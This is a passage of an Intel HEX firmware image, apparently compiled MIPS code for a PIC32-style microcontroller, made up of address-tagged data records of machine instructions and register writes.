0a346\n:10739000f15c400b000000001800c2931800c3937a\n:1073a0001000c48f21188300000063801000c427e0\n:1073b00021108200280043a01800c283010042244b\n:1073c0001800c2a31800c28308004228f2ff40142c\n:1073d000000000001800c0a3045d400b0000000086\n:1073e0001800c293080042241800c3931000c48ff1\n:1073f00021188300080063801000c4272110820038\n:10740000280043a01800c283010042241800c2a330\n:107410001800c28303004228f1ff4014000000005e\n:107420000c80828f340040a4345d400b00000000cb\n:107430000c80828f1600c397340043a40c000224f2\n:107440001800c2a32e5d400b000000001600c38789\n:107450001800c2832310620021184000ff7f023c05\n:10746000ffff423421106200401002003000c38f41\n:1074700021106200000042940c0040140000000043\n:107480000c80828f1600c4971800c383ffff6330ff\n:1074900023188300ffff6330ffff6324ffff633087\n:1074a000340043a4315d400b000000001800c2838b\n:1074b000ffff42241800c2a31800c283e3ff410467\n:1074c000000000000c80828f3800c327300043acde\n:1074d0003800c22721204000dc5d400f0000000082\n:1074e0000b004010000000000c80828f2120400023\n:1074f0002400c58f403e400f000000000100022420\n:10750000388182a3ffff0224d65d400b00000000fb\n:107510003400c29701004224ffff42303400c2a76a\n:107520000c80828f0c80838f3c00638c400043acc6\n:107530000c80838f3400c227212060002128400066\n:1075400001000624e72f400f000000001000c2af2a\n:107550001000c28f0b004014000000000c80828fce\n:10756000212040002400c58f403e400f0000000055\n:107570001b000224388182a3ffff0224d65d400b4a\n:10758000000000001400c297ffff42241400c2a7ad\n:10759000685d400b00000000010002242e8182a3e0\n:1075a0002e818293fdfb4010000000003800c227ae\n:1075b0002120400002000524e94e400f0000000099\n:1075c00009004014000000000c80828f2120400040\n:1075d0002400c58f403e400f00000000ffff022442\n:1075e000d65d400b000000000c80828f3400429476\n:1075f00019004014000000003800c227212040007c\n:10760000212800000c0006246551410f00000000f5\n:107610001800c0a3925d400b000000001800c29348\n:107620000c80848f1800c39321188300200063808e\n:107630001000c42721108200280043a01800c28334\n:10764000010042241800c2a31800c2830b00422884\n:10765000f2ff4014000000004880828f08004010b4\n:1076600000000000059d023c905f4424414c400f07\n:10767000000000001600c2a7a55d400b000000003e\n:10768000059d023c985f4424414c400f00000000df\n:107690001600c2a71600c2870b00401000000000b1\n:1076a0000c80828f212040002400c58f403e400f77\n:1076b000000000000c000224388182a3ffff022496\n:1076c000d65d400b000000000c80828f3400429495\n:1076d00009004010000000000c80828f3000428cb6\n:1076e00021204000dc5d400f000000001600c2a712\n:1076f000c35d400b000000003800c227212040007d\n:10770000dc5d400f000000001600c2a71600c28713\n:107710000b004010000000000c80828f21204000f0\n:107720002400c58f403e400f0000000001000224ed\n:10773000388182a3ffff0224d65d400b00000000c9\n:107740000c80828f212040002400c58f403e400fd6\n:10775000000000002110000021e8c0038c02bf8f50\n:107760008802be8f9002bd270800e00300000000e1\n:1077700098ffbd276400bfaf6000beaf21f0a0033b\n:107780006800c4aff4d8400f0000000004004010af\n:1077900000000000ffff02242e5e400b00000000ee\n:1077a0000c80828f1800c327212060002128400010\n:1077b000403e400f000000000c80828f3400429455\n:1077c00013004014000000001400c0a3005e400b32\n:1077d000000000000c80848f1400c2931400c39337\n:1077e0006800c58f2118a30000006380211082006b\n:1077f000200043a01400c293010042241400c2a33d\n:107800001400c2930b00422cf2ff40140000000051\n:107810000c80828f00a0033ca01364242128400028\n:10782000403e400f000000000c80828f212040006d\n:1078300000a0023ca01345240100062421380000ca\n:10784000db1b400f0000000012004014000000008d\n:107850000c80838f0c80828f3600422421206000b0\n:107860002128400001000624dd39400f00000000ff\n:1078700004004014000000001000c0af275e400b61\n:1078800000000000ffff02241000c2af275e400b83\n:1078900000000000ffff02241000c2af0c80838fa5\n:1078a0001800c2272120600021284000403e400fe0\n:1078b000000000001000c28f21e8c0036400bf8fe9\n:1078c0006000be8f6800bd270800e00300000000d4\n:1078d00098ffbd276400bfaf6000beaf21f0a003da\n:1078e0006800c4af6c00c5af7000c6af1800c227f7\n:1078f0001400c2af388180a31400c28f00a0033ce3\n:1079000090116324300043ac7000c28f00a0033c90\n:10791000e41363241c0043ac6800c48f1400c58fbb\n:10792000010006244e42400f0000000006004014f3\n:107930000000000012000224388182a3ffff02240d\n:107940006f5f400b000000007000c28f3c0040a041\n:107950001400c28f2c00438c7000c28f180043acff\n:107960001400c28f34004294308182a73081829704\n:1079700026004014000000001100c0a36c5e400b04\n:10798000000000001100c2931100c3936800c48f6f\n:1079900021188300000063807000c48f21108200d2\n:1079a000280043a01100c293010042241100c2a389\n:1079b0001100c2930c00422c070040100000000090\n:1079c0001100c2936800c38f211062000000428042\n:1079d000ecff4014000000007f5e400b0000000040\n:1079e0001100c2937000c38f21106200280040a0d4\n:1079f0001100c293010042241100c2a31100c293de\n:107a00000d00422cf6ff4014000000006c00c28ff5\n:107a1000ff0043307000c28f350043a00c80828f7e\n:107a20003c00438c7000c28f380043ac1400c28ffe\n:107a300000a0033c58106324000043ac1400c28f24\n:107a4000040040ac1400c28f080040ac1400c28f88\n:107a5000360040a46c00c28fffff43301400c28f79\n:107a60003a0043a40c80828f3c00438c1400c28fe8\n:107a70003c0043ac0c80828f4000438c1400c28fca\n:107a8000400043ac00a0023ca01344241400c58f66\n:107a9000403e400f000000001400c48f00a0023cd4\n:107aa000a01345240100062401000724db1b400f1e\n:107ab0000000000006004010000000000b0002243f\n:107ac000388182a3ffff02246f5f400b000000009b\n:107ad0001400c28f360042945c00c2a75c00c2272b\n:107ae0001400c48f2128400072000624a622400ff3\n:107af00000000000ae004014000000001400c28f1f\n:107b0000340043947000c28f200043a41400c28f3d\n:107b1000340042941d004010000000001400c28f89\n:107b2000340042941200c2a71200c38700a0023c96\n:107b300040180300e413422421106200000040a416\n:107b4000de5e400b000000001200c4871200c387f5\n:107b500000a0023c401803004406422421106200a9\n:107b60000000439400a0023c40200400e41342249f\n:107b700021108200000043a41200c287ffff4324ab\n:107b80001200c3a7f0ff4014000000001000c0a3c3\n:107b9000ed5e400b000000001000c2937000c38f28\n:107ba00021106200000040a01000c2930100422496\n:107bb0001000c2a31000c2930d00422cf6ff401427\n:107bc000000000001400c28f3a0043940800022411\n:107bd00049006210000000001100c0a31000c0a303\n:107be000085f400b000000001100c2931000c39317\n:107bf0001400c48f21188300200063807000c48f9c\n:107c000021108200000043a01100c2930100422411\n:107c10001100c2a31000c293010042241000c2a3ad\n:107c20001000c2930800422c080040100000000021\n:107c30001000c2931400c38f211062002000438003\n:107c400020000224e8ff6214000000001400c28f2c\n:107c50002800438020000224390062100000000048\n:107c60001100c293010043241100c3a37000c38f0d\n:107c7000211062002e000324000043a0080002240b\n:107c80001000c2a3315f400b000000001100c2933e\n:107c90001000c3931400c48f211883002000638058\n:107ca0007000c48f21108200000043a01100c29315\n:107cb000010042241100c2a31000c293010042241b\n:107cc0001000c2a31000c2930b00422c1c004010f5\n:107cd000000000001000c2931400c38f2110620046\n:107ce0002000438020000224e8ff6214000000000e\n:107cf000505f400b000000001100c0a34c5f400b20\n:107d0000000000001100c2931100c3931400c48f3f\n:107d100021188300200063807000c48f211082002e\n:107d2000000043a01100c293010042241100c2a32d\n:107d30001100c2930b00422cf2ff4014000000001f\n:107d40001400c28f3a004294ff0043307000c28f8b\n:107d50000d0043a01400c28f1400438c7000c28f2a\n:107d6000100043ac1400c28f1e004294001c02009d\n:107d70001400c28f1c004294211862007000c28f50\n:107d8000140043ac1400c28f360042942118400006\n:107d90007000c28f240043ac7000c28f0100032426\n:107da0003c0043a0211000006f5f400b000000006a\n:107db0001b000224388182a3ffff022421e8c003b4\n:107dc0006400bf8f6000be8f6800bd270800e0031d\n:107dd0000000000098ffbd276400bfaf6000beaf89\n:107de00021f0a0036800c4af1800c2271400c2af7e\n:107df000388180a36800c28f3c0042900600401486\n:107e00000000000007000224388182a3ffff022443\n:107e10008760400b000000006800c28f3800438c70\n:107e20000c80828f3c00428c060062100000000033\n:107e30001f000224388182a3ffff02248760400bc9\n:107e4000000000006800c28f1800438c1400c28f2d\n:107e50002c0043ac308183971400c28f340043a4bc\n:107e60001400c28f3400429407004010000000004c\n:107e70001400c28f00a0033c90116324300043ac77\n:107e8000b05f400b000000006800c28f2800422451\n:107e9000212040001400c58f010006244e42400fef\n:107ea0000000000006004014000000001200022440\n:107eb000388182a3ffff02248760400b000000008e\n:107ec0001400c28f00a0033c58106324000043ac90\n:107ed0001400c28f040040ac1400c28f080040acf4\n:107ee0006800c28f2400428cffff42300100422410\n:107ef000ffff43301400c28f360043a46800c28fd6\n:107f000035004290211840001400c28f3a0043a46b\n:107f10000c80828f3c00438c1400c28f3c0043ac29\n:107f20000c80828f4000438c1400c28f400043ac11\n:107f300000a0023ca01344241400c58f403e400f13\n:107f4000000000001400c48f00a0023ca0134524d0\n:107f50000100062401000724db1b400f0000000085\n:107f600006004010000000000b000224388182a3ac\n:107f7000ffff02248760400b000000001400c28f46\n:107f8000340043946800c28f200043a41400c28fc1\n:107f9000340042941d004010000000001400c28f05\n:107fa000340042941200c2a71200c38700a0023c12\n:107fb00040180300e413422421106200000040a492\n:107fc000fe5f400b000000001200c4871200c38750\n:107fd00000a0023c40180300440642242110620025\n:107fe0000000439400a0023c40200400e41342241b\n:107ff00021108200000043a41200c287ffff432427\n:108000001200c3a7f0ff4014000000001100c0a33d\n:108010000d60400b000000001100c2936800c38f88\n:1080200021106200000040a01100c2930100422410\n:108030001100c2a31100c2930d00422cf6ff4014a0\n:10804000000000001400c28f3a004394080002248c\n:1080500049006210000000001000c0a31100c0a37e\n:108060002860400b000000001000c2931100c39371\n:108070001400c48f21188300200063806800c48f1f\n:1080800021108200000043a01000c293010042248e\n:108090001000c2a31100c293010042241100c2a328\n:1080a0001100c2930800422c08004010000000009c\n:1080b0001100c2931400c38f21106200200043807e\n:1080c00020000224e8ff6214000000001400c28fa8\n:1080d00028004380200002243900621000000000c4\n:1080e0001000c293010043241000c3a36800c38f93\n:1080f000211062002e000324000043a00800022487\n:108100001100c2a35160400b000000001000c29398\n:108110001100c3931400c48f2118830020006380d2\n:108120006800c48f21108200000043a01000c29399\n:10813000010042241000c2a31100c2930100422496\n:108140001100c2a31100c2930b00422c1c0040106e\n:10815000000000001100c2931400c38f21106200c0\n:108160002000438020000224e8ff62140000000089\n:108170007060400b000000001000c0a36c60400b5a\n:10818000000000001000c2931000c3931400c48fbd\n:1081900021188300200063806800c48f21108200b2\n:1081a000000043a01000c293010042241000c2a3ab\n:1081b0001000c2930b00422cf2ff4014000000009c\n:1081c0001400c28f3a004294ff0043306800c28f0f\n:1081d0000d0043a01400c28f1400438c6800c28fae\n:1081e000100043ac1400c28f1e004294001c020019\n:1081f0001400c28f1c004294211862006800c28fd4\n:10820000140043ac1400c28f360042942118400081\n:108210006800c28f240043ac2110000021e8c00395\n:108220006400bf8f6000be8f6800bd270800e003b8\n:1082300000000000e0ffbd271c00bfaf1800beaf6c\n:1082400021f0a0032000c4af2400c5af2800c6afb2\n:1082500001000224488082af2000c48f2400c58f13\n:108260002800c68f345e400f000000001000c2af2f\n:10827000488080af1000c28f21e8c0031c00bf8f70\n:108280001800be8f2000bd270800e003000000009a\n:10829000e8ffbd271400bfaf1000beaf21f0a00360\n:1082a000c560400f0000000000a0023cdc564224e4\n:1082b000070042900e0040100000000088bf033c01\n:1082c00020606294c47b027c206062a400a0023c17\n:1082d000e3564424c265400f0000000088bf033c01\n:1082e0002060629401000424c47b827c206062a42c\n:1082f000f881828f0300401400000000cba2400fe1\n:1083000000000000fd62400f00000000bc60400b58\n:1083100000000000a0ffbd275c00bfaf5800beaf4b\n:1083200021f0a00381bf023cffff0334609043ac07\n:10833000c404023c00b442341000c2af1000c28f2b\n:108340001400c2af1400c28f1800c2af1800c28f51\n:108350001c00c2af1800c38fc404023c01b44234f5\n:108360002b10620008004014000000000800023cce\n:108370002000c2af1c00c28f421002001c00c2af1e\n:10838000e360400b000000002000c0af2000c28f5f\n:108390002400c2afef57410f000000002800c2af19\n:1083a00088bf023c0030428c0003427cff00423018\n:1083b0002c00c2af2c00c28f090040140000000046\n:1083c00088bf023c00100324083043ac88bf023c45\n:1083d0000030428c00084230fcff401400000000d6\n:1083e0002c00c28f3000c2af81bf023c30f240ace3\n:1083f00081bf023c99aa033c5566633430f243ac1a\n:1084000081bf023c6655033caa99633430f243ac09\n:1084100081bf023c00f0428c5400c2af5400c28fb6\n:10842000c4a4027c5400c2af5400c38f2400c28f86\n:10843000251062005400c2af5400c38f81bf023cbc\n:1084400000f043ac81bf023c00f0428c5400c2af4c\n:1084500081bf023c3333033c3333633430f243aceb\n:108460003000c28f3400c2af3400c28f13004010fe\n:108470000000000088bf023c0030428c0003427cb8\n:10848000ff0042303800c2af3800c28f0e004014e7\n:108490000000000088bf023c00100324083043acf9\n:1084a00088bf023c0030428c00084230fcff401480\n:1084b000000000003261400b0000000088bf023c59\n:1084c00000100324043043ac2800c48f9257410f9e\n:1084d000000000001c00c28f3c00c2af4000c0afd3\n:1084e0004261400b000000004000c28f01004224a6\n:1084f0004000c2af1400c38f36fe023c803c4234c1\n:10850000211062001400c2af1400c38fc901023ce5\n:1085100081c342342b106200f3ff401000000000c2\n:10852000ef57410f000000004400c2af88bf023c7b\n:108530004000c38f004043ac4400c48f9257410faa\n:10854000000000003c00c28f4800c2afef57410f4f\n:10855000000000004c00c2af88bf023c4000032472\n:10856000042043ac88bf023c0040428c5000c2afa4\n:108570005000c28f300042345000c2af88bf023c6e\n:108580005000c38f004043acb357410f00000000c0\n:108590004c00c48f9257410f0000000088bf023c7e\n:1085a00010000324641043ac88bf023c681040ac48\n:1085b00080bf023c000640ac88bf023c000103249f\n:1085c000641043ac88bf023c681040ac80bf023ce2\n:1085d000000840ac88bf023c0100033c641043ac7f\n:1085e00088bf023c681040ac80bf023c000c40ac2d\n:1085f00080bf023c40000324000e43ac80bf023c1d\n:10860000100e40ac80bf023cffff0324200e43aca1\n:1086100080bf023c00800334080e43ac88bf023c9c\n:108620001c000324e41043ac88bf023c1c0003245c\n:10863000e81043aca44b410f000000000c9f400f1a\n:1086400000000000f881828f030040140000000049\n:10865000cba2400f000000002d00023cc0c64434f5\n:10866000400e410f000000004624410f00000000b2\n:10867000a461400f0000000021e8c0035c00bf8f30\n:108680005800be8f6000bd270800e0030000000016\n:10869000e8ffbd271400bfaf1000beaf21f0a0035c\n:1086a0001c8280a3108280af01000224288282af46\n:1086b00088bf033cc061629401000424c47b827cb7\n:1086c000c06162a488bf033cd061628c01000424b5\n:1086d0008473827cd06162ac88bf033cd061628cc1\n:1086e00001000424c47b827cd06162ac88bf033c5f\n:1086f00000606294010004248410827c006062a403\n:1087000088bf033c00606294010004240421827c41\n:10871000006062a488bf033c0060629401000424ee\n:108720004429827c006062a488bf033c006062949c\n:108730008473027c006062a488bf033c0060629482\n:10874000c47b027c006062a488bf033c40606294ea\n:108750000421027c406062a488bf033c40606294b4\n:108760004429027c406062a488bf033c406062945c\n:10877000444a027c406062a488bf033c406062942b\n:1087800001000424c45a827c406062a488bf033c78\n:1087900040606294010004240463827c406062a40f\n:1087a00088bf033c4060629401000424446b827cd7\n:1087b000406062a488bf033c806062944408027ced\n:1087c000806062a488bf033c806062948410027c55\n:1087d000806062a488bf033c80606294c418027cfd\n:1087e000806062a488bf033c80606294010004241e\n:1087f0000421827c806062a488bf033cc0606294d4\n:10880000010004240400827cc06062a488bf033c91\n:10881000c06062944408027cc06062a488bf033ccc\n:10882000c06062948410027cc06062a488bf033c74\n:10883000c0606294c418027cc06062a488bf033c1c\n:10884000c06062940421027cc06062a488bf033cc3\n:10885000c0606294010004244429827cc06062a448\n:1088600088bf033cc0606294010004248431827c90\n:10887000c06062a488bf033cc0606294c439027cbb\n:10888000c06062a488bf033cc060629401000424fd\n:108890000442827cc06062a488bf033cc0606294d2\n:1088a000c45a027cc06062a488bf033cc06062946a\n:1088b000010004240463827cc06062a488bf033c7e\n:1088c000006162940400027c006162a488bf033ce2\n:1088d000006162944408027c006162a488bf033c8a\n:1088e000006162948410027c006162a488bf033c32\n:1088f00000616294c418027c006162a488bf033cda\n:10890000006162944429027c006162a488bf033c38\n:1089100000616294010004248431827c006162a4bd\n:1089200088bf033c0061629401000424c439827c46\n:10893000006162a488bf033c006162940442027c2f\n:10894000006162a488bf033c00616294444a027cd7\n:10895000006162a488bf033c40616294010004246a\n:108960000400827c406162a488bf033c4061629441\n:10897000010004244408827c406162a488bf033c57\n:1089800040616294010004248410827c406162a4ee\n:1089900088bf033c406162940442027c406162a44f\n:1089a00088bf033c806162948431027c806162a450\n:1089b00088bf033c80616294010004240463827ccc\n:1089c000806162a488bf033c80616294010004243a\n:1089d000446b827c806162a488bf033c80616294a6\n:1089e000444a027c806162a488bf033c6060629458\n:1089f000444a027c606062a488bf033ca060629429\n:108a00004408027ca06062a488bf033ca06062941a\n:108a10008410027ca06062a488bf033ca0606294c2\n:108a2000c418027ca06062a488bf023cd060428c63\n:108a30008001427cff00443088bf033ce0606294c8\n:108a40008410827ce06062a488bf023cd060428ccb\n:108a50004001427cff00443088bf033ce0606294e8\n:108a6000c418827ce06062a488bf033c20616294e9\n:108a70004429027c206162a488bf033c2061629487\n:108a800001000424444a827c206162a488bf033c24\n:108a900020616294c418027c206162a488bf033cf8\n:108aa000206162948410027c206162a488bf033c30\n:108ab000206162944408027c206162a488bf033c68\n:108ac000206162940400027c206162a488bf033ca0\n:108ad000a06162948431027ca06162a488bf033cdf\n:108ae00020606294c47b027c206062a488bf033c47\n:108af000e0606294c45a027ce06062a45c37410f7b\n:108b00000000000001000424b5f8400f0000000040\n:108b100004ec400f0000000088bf033c60606294da\n:108b20000421027c606062a488bf033c60606294a0\n:108b30004429027c606062a488bf033c2061629487\n:108b400001000424c418827c206162a488bf033c15\n:108b500020616294010004248410827c206162a45c\n:108b600088bf033c20616294010004244408827c95\n:108b7000206162a488bf033c206162940100042448\n:108b80000400827c206162a488bf033ca0616294df\n:108b9000010004248431827ca06162a488bf033c6c\n:108ba0002060629401000424c47b827c206062a463\n:108bb00088bf033ce060629401000424c45a827cb4\n:108bc000e06062a400a0023cdc5642248700429090\n:108bd00021204000abc0400f0000000021e8c0038e\n:108be0001400bf8f1000be8f1800bd270800e003df\n:108bf00000000000e0ffbd271c00bfaf1800beafa3\n:108c000021f0a0031000c0a39714410f0000000042\n:108c1000d980839301000224160062140000000032\n:108c2000f881828f2000422c0600401400000000d2\n:108c300088bf023c8050428c020042300400401049\n:108c400000000000000000008964400b00000000ec\n:108c5000a5818293070040140000000000a0023ca0\n:108c60005c56442440000524bf11410f0000000061\n:108c70001000c2a38337410f00000000090040101c\n:108c80000000000002000224d98082a300a0023c60\n:108c90005c56442464000524db13410f00000000ef\n:108ca0001000c2a31000c2935c014010000000003d\n:108cb0001100c0a37364400b000000001100c393b7\n:108cc00000a0023c5c564224211062000000429049\n:108cd0000d0003242f004310000000000e00432865\n:108ce0000900601000000000080003240c0043107d\n:108cf000000000000a0003242600431000000000ca\n:108d00004064400b000000001b0003247600431069\n:108d1000000000007f000324f9004314000000005d\n:108d20001000c0a3e08082930900401400000000fe\n:108d3000029d023c3cec4424029d023c40ec452454\n:108d40002013410f000000007064400b0000000081\n:108d5000029d023c3cec4424029d023c44ec452430\n:108d60002013410f00000000e0808293ffff4324a6\n:108d7000ff006330e08083a32118400000a0023c84\n:108d80009870422421106200000040a07064400be3\n:108d900000000000e08082932118400000a0023c07\n:108da0009870422421106200000040a0e18080a35e\n:108db00000a0023c9870422400004280070040144a\n:108dc0000000000000a0023c98704424c265400fdf\n:108dd000000000008964400b00000000e2808393e3\n:108de00001000224200062140000000000a0023ce8\n:108df000746c4224000042801b0040100000000000\n:108e0000010002241100c2a39663400b0000000081\n:108e10001100c293ffff4224c019020000a0023ccf\n:108e2000f46b4224211862001100c293c021020099\n:108e300000a0023cf46b422421108200212060003b\n:108e4000212840007f49410f000000001100c2931b\n:108e5000010042241100c2a31100c2930200422c5f\n:108e6000ebff401400000000e2808293c019020072\n:108e700000a0023cf46b422421106200212040003b\n:108e800000a0023c987045247f49410f000000007b\n:108e9000e2808393e38082932b1043000300401011\n:108ea00000000000e2808293e38082a3e28082934c\n:108eb0000500401400000000e2808293010042247b\n:108ec000ff004230e28082a3e08080a31000c0a3b4\n:108ed00000a0023c98704424c265400f00000000ce\n:108ee0008964400b00000000d980839301000224b4\n:108ef0001700621400000000c263400b0000000075\n:108f00008d12410f00000000a5818293fcff4014e8\n:108f1000000000000000000000a0023c5c56442459\n:108f200002000524bf11410f00000000faff4010ad\n:108f30000000000000a0023c5c5643905b0002244d\n:108f400003006210000000007064400b000000008d\n:108f5000e063400b00000000e0808293ffff4224aa\n:108f6000ff004230e08082a3029d023c3cec44249e\n:108f7000029d023c44ec45242013410f00000000f8\n:108f8000e0808293f4ff40140000000000a0023c47\n:108f9000987040a01000c0a300a0023c5c56422480\n:108fa00001004390410002242100621400000000ef\n:108fb000e28082930900401400000000029d023c00\n:108fc0003cec4424029d023c40ec45242013410f1c\n:108fd000000000000264400b00000000e18082936a\n:108fe0000700401000000000e2808293ffff42244f\n:108ff000ff004230e28082a30264400b00000000c8\n:1090000001000224e18082a3e2808293c019020061\n:1090100000a0023cf46b42242110620000a0033c3b\n:1090200098706424212840007f49410f000000000f\n:1090300000a0023c5c5642240100439042000224fe\n:109040002100621400000000e18080a3e28083938d\n:10905000e38082932b1043000500401400000000c1\n:10906000e2808393010002240900621400000000e2\n:10907000029d023c3cec4424029d023c40ec452411\n:109080002013410f000000003264400b000000007c\n:10909000e280829301004224ff004230e28082a3fa\n:1090a000e2808293c019020000a0023cf46b4224cb\n:1090b0002110620000a0033c987064242128400025\n:1090c0007f49410f0000000000a0023c987044243a\n:1090d000a34a410f00000000ff004230e08082a35d\n:1090e000029d023c3cec442400a0023c98704524c4\n:1090f0002013410f000000007064400b00000000ce\n:109100001100c39300a0023c5c564224211062006f\n:10911000000042902000422c090040140000000092\n:109120001100c39300a0023c5c564224211062004f\n:10913000000042907f00422c0a0040140000000012\n:10914000029d023c3cec4424029d023c40ec452440\n:109150002013410f000000001000c0a37064400bfa\n:10916000000000001100c493e080829301004324ba\n:10917000ff006330e08083a31100c59300a0033c8f\n:109180005c5663242118a3000000659000a0033cf6\n:109190009870632421184300000065a000a0033ce0\n:1091a00098706324211043000000439000a0023c0b\n:1091b000dc44422421108200000043a00000000093\n:1091c0001100c293010042241100c2a31100c393f5\n:1091d0001000c2932b106200b8fe40140000000083\n:1091e000d8808393010002240c0062140000000068\n:1091f0001000c39300a0023cdc4442242110620012\n:10920000000040a0029d023c3cec442400a0023c33\n:10921000dc4445242013410f000000008d12410f53\n:109220000000000021e8c0031c00bf8f1800be8fa3\n:109230002000bd270800e00300000000e8ffbd2774\n:109240001400bfaf1000beaf21f0a003bd10410f4e\n:109250000000000021e8c0031400bf8f1000be8f83\n:109260001800bd270800e00300000000e8ffbd274c\n:109270001400bfaf1000beaf21f0a0037011410f6a\n:109280000000000021e8c0031400bf8f1000be8f53\n:109290001800bd270800e00300000000f8ffbd270c\n:1092a0000400beaf21f0a0030082838f01000224de\n:1092b0002b00621400000000d481838f010002247f\n:1092c000270062140000000088bf023c0002033c3b\n:1092d000741043ac88bf033c805062904408027c09\n:1092e000805062a0d48180af100e0224e48082a757\n:1092f000e4808297ffff4224ffff4230e48082a790\n:10930000e4808297faff40140000000088bf033c0d\n:1093100050526290010004248410827c505262a05a\n:1093200008070224e48082a7e4808297ffff42249a\n:10933000ffff4230e48082a7e4808297faff401466\n:109340000000000088bf033c505262908410027cf1\n:10935000505262a088bf023c0002033c781043ac2c\n:1093600021e8c0030400be8f0800bd270800e00309\n:1093700000000000e8ffbd271400bfaf1000beaf23\n:1093800021f0a0031800c4af1c00c5af2110c0001d\n:109390002000c2a71800c28f03000324110043104d\n:1093a00000000000720003240600431000000000cb\n:1093b000010003240700431000000000fc64400b80\n:1093c0000000000001000224d98082a3fc64400b4d\n:1093d000000000009b64400f00000000fc64400b94\n:1093e000000000008f64400f00000000000000003b\n:1093f0000100022421e8c0031400bf8f1000be8fbb\n:109400001800bd270800e00300000000f0ffbd27a2\n:109410000c00beaf21f0a00388bf023c0200032471\n:10942000441043ac0000000088bf023c4010428c56\n:1094300002004230fcff40100000000081bf023cef\n:109440001090428cc001427cff004230010042304b\n:109450000400401400000000080002241a65400bbc\n:1094600000000000211000000000c2af0000c28f09\n:109470000019020081bf023c70904224211062005a\n:109480000000428c21e8c0030c00be8f1000bd27f5\n:109490000800e00300000000e0ffbd271c00bfaf94\n:1094a0001800beaf21f0a0032000c4af2400c5af58\n:1094b0002400c48fa34a410f000000001000c2af77\n:1094c0002000c48fa34a410f000000001400c2af67\n:1094d0001000c28f040040140000000001000224ac\n:1094e0004a65400b000000001400c38f1000c28fbb\n:1094f0002b1062000b004014000000002400c48ff9\n:109500002000c58f1000c68f7654410f0000000068\n:109510000400401400000000010002244a65400bd2\n:10952000000000002110000021e8c0031c00bf8fd4\n:109530001800be8f2000bd270800e00300000000d7\n:1095400078ffbd278400bfaf8000beaf21f0a0032d\n:109550008800c4af1c00c3276400022421206000df\n:1095600021280000213040006551410f000000001b\n:109570008800c48fa34a410f000000006400422c01\n:1095800006004010000000008800c48fa34a410f6d\n:10959000000000006865400b000000006400022429\n:1095a0001400c2af1400c28f190040100000000068\n:1095b0008800c48f029d023c48ec45242665400f7c\n:1095c000000000000c004010000000008800c28f66\n:1095d000050043241400c28ffbff42241c00c42753\n:1095e00021286000213040002054410f000000007d\n:1095f0008465400b000000001c00c22721204000b1\n:109600008800c58f1400c68f2054410f0000000051\n:109610001000c0af1c00c22721204000029d023c68\n:1096200050ec4524734d410f000000000100422c16\n:10963000ff0042301800c2afae65400b00000000d2\n:109640001800c28f0e0040140000000000a0023c71\n:109650001000c38f801803005402422421106200be\n:109660000000438c1c00c2272120600021284000fc\n:109670002665400f000000000c00401000000000b4\n:1096800000a0023c1000c38f801803005402422443\n:10969000211062000000428c029d033c58ec6424bf\n:1096a000212840002013410f000000001000c28f4d\n:1096b000010042241000c2af00a0023c1000c38f82\n:1096c0008018030054024224211062000000428ce2\n:1096d000dbff401400000000029d023c3cec4424ef\n:1096e000029d023c60ec45242013410f0000000065\n:1096f00021e8c0038400bf8f8000be8f8800bd2793\n:109700000800e0030000000078ffbd278400bfaf21\n:109710008000beaf21f0a0038800c4af3000c0a31a\n:10972000029d023ca8ec42243c00c2af029d023cd8\n:10973000acec42244000c2af8800c48f64bc400f30\n:10974000000000008800c28f000042800300401427\n:109750000000000001000224d88082a38800c48f8a\n:10976000029d023cb0ec4524090006247654410fca\n:109770000000000030004014000000008800c28f8c\n:10978000090043246000c22721206000029d033ca1\n:10979000bcec652421304000b355410f00000000af\n:1097a00021184000010002241e0062140000000085\n:1097b00000a0023cdc56422487004290080040147e\n:1097c00000000000029d023cc0ec442435bc400f68\n:1097d000000000003000c2a30e66400b0000000035\n:1097e0000100042402bc400f000000003000c2a3ae\n:1097f0006000c28f21204000010005248d09410f27\n:10980000000000006000c28f21204000da09410ff3\n:10981000000000005c15410f000000000e66400bc8\n:1098200000000000029d023cd4ec442435bc400ff3\n:10983000000000003000c2a38800c48f029d023cdb\n:10984000f0ec45240a0006247654410f0000000085\n:1098500030004014000000008800c28f0a0043243a\n:109860006000c22721206000029d033cbcec6524ff\n:1098700021304000b355410f000000002118400086\n:10988000010002241e0062140000000000a0023c3f\n:10989000dc5642248700429008004014000000007b\n:1098a000029d023cc0ec442435bc400f0000000087\n:1098b0003000c2a34566400b0000000001000424f4\n:1098c00002bc400f000000003000c2a36000c28f45\n:1098d00021204000212800008d09410f00000000d8\n:1098e0006000c28f21204000da09410f0000000013\n:1098f0005c15410f000000004566400b00000000b1\n:10990000029d023cd4ec442435bc400f0000000012\n:109910003000c2a38800c48f029d023cfcec4524a9\n:10992000050006247654410f000000000e0040148c\n:10993000000000000100042402bc400f00000000f1\n:109940003000c2a38800c28f0500422421204000bd\n:10995000b62d410f00000000412e410f0000000015\n:109960005c15410f000000008800c48f029d023c7e\n:1099700004ed4524734d410f000000000600401423\n:10998000000000002120000002bc400f0000000089\n:109990003000c2a3d88080a38800c48f029d023cff\n:1099a00008ed4524040006247654410f0000000011\n:1099b00030004014000000008800c28f04004224e0\n:1099c0006000c3271000a3af6400c3271400a3af37\n:1099d00021204000029d023c10ed452400a0023ce5\n:1099e000f46c4624e8808727b355410f000000003f\n:1099f0002118400004000224190062140000000035\n:109a0000e880858f6000c38f6400c28f00a0043c93\n:109a1000f46c84242130600021384000f6fe400fb1\n:109a2000000000000800401400000000029d023cfd\n:109a300020ed442435bc400f000000003000c2a3dc\n:109a40009d66400b000000002120000002bc400f7a\n:109a5000000000003000c2a39d66400b0000000023\n:109a6000029d023c30ed442435bc400f0000000054\n:109a70003000c2a38800c48f029d023c44ed4524ff\n:109a8000734d410f000000001e0040140000000054\n:109a900019ec400f0000000015004010000000000d\n:109aa0000100042402bc400f000000003000c2a3eb\n:109ab0006c80829300a0033cf417642421284000aa\n:109ac000adb9400f00000000029d023c3cec442474\n:109ad000029d023c48ed45242013410f0000000088\n:109ae0005c15410f00000000c166400b0000000043\n:109af000029d023c4ced442435bc400f00000000a8\n:109b00003000c2a38800c48f029d023c54ed45245e\n:109b1000040006247654410f000000003600401473\n:109b20000000000000a0023cf46c40a06000c0af48\n:109b30008800c28f040043246000c22721206000f7\n:109b4000029d033c5ced652400a0033cf46c66249c\n:109b500021384000b355410f0000000003004228a7\n:109b60000800401400000000029d023c30ed442437\n:109b700035bc400f000000003000c2a3fe66400b61\n:109b8000000000006000c28f2120400000a0023cc5\n:109b9000dc24452400a0023cf46c46245a54410fb6\n:109ba000000000000f00401000000000010004242d\n:109bb00002bc400f000000003000c2a3029d023c26\n:109bc00064ed442400a0023cdc2445242013410f12\n:109b